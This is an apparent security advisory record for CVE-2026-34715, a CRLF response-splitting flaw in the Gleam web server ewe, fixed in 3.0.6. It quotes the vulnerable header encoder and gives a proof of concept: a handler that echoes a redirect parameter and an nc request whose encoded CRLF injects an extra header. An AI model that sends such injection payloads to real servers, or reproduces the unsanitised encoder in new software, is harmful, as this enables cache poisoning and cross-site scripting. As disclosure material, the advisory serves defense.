{"id":"CVE-2026-34715","aliases":["GHSA-x2w3-23jr-hrpf"],"url":"https://o3.security/vulnerability/CVE-2026-34715","summary":"ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)","details":"### Summary\n\nThe `encode_headers` function in `src/ewe/internal/encoder.gleam` directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (`\\r\\n`) sequences. An application that passes user-controlled data into response headers (e.g., setting a `Location` redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.\n\nNotably, ewe *does* validate CRLF in **incoming** request headers via `validate_field_value()` in the HTTP/1.1 parser — but provides no equivalent protection for **outgoing** response headers in the encoder.\n\n### Details\n\n**File:** `src/ewe/internal/encoder.gleam`\n\n**Vulnerable code:**\n```gleam\nfn encode_headers(headers: List(#(String, String))) -> BitArray {\n  let headers =\n    list.fold(headers, <<>>, fn(acc, headers) {\n      let #(key, value) = headers\n      <<acc:bits, key:utf8, \": \", value:utf8, \"\\r\\n\">>\n    })\n\n  <<headers:bits, \"\\r\\n\">>\n}\n```\n\nBoth `key` and `value` are embedded directly into the `BitArray` output. If either contains `\\r\\n`, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.\n\n**Contrast with request parsing** (`src/ewe/internal/http1.gleam`): incoming header values are protected:\n```gleam\nuse value <- try(\n  validate_field_value(value) |> replace_error(InvalidHeaders)\n)\n```\n\nNo analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject `\\r` (0x0D) and `\\n` (0x0A) from all header key and value strings in `encode_headers` before encoding, mirroring the validation already applied to incoming request headers via `validate_field_value()`\n\n### PoC\n\nAn ewe application echoes a user-supplied redirect URL into a `Location` header:\n\n```gleam\nfn handle_request(req: Request) -> Response {\n  let redirect_url =\n    request.get_query(req)\n    |> result.try(list.key_find(_, \"next\"))\n    |> result.unwrap(\"/home\")\n\n  response.new(302)\n  |> response.set_header(\"location\", redirect_url)\n  |> response.set_body(ewe.Empty)\n}\n```\n\nAttacker request:\n```bash\nprintf 'GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\nResulting response:\n```\nHTTP/1.1 302 Found\nlocation: https://example.com\nX-Injected: true\ncontent-length: 0\ndate: Tue, 24 Mar 2026 07:53:00 GMT\nconnection: keep-alive\n\n\n```\n\nThe `X-Injected: true` header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.","published":"2026-04-02T17:57:00.501Z","modified":"2026-08-12T03:51:11.011538585Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Hex","name":"ewe","fixedVersion":"3.0.6"}],"fix":{"url":"https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446","label":"vshakitskiy/ewe@ce4ff21"},"references":[{"type":"WEB","url":"https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34715.json"},{"type":"ADVISORY","url":"https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34715"},{"type":"FIX","url":"https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446"},{"type":"PACKAGE","url":"https://github.com/vshakitskiy/ewe"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:11.011538585Z"}}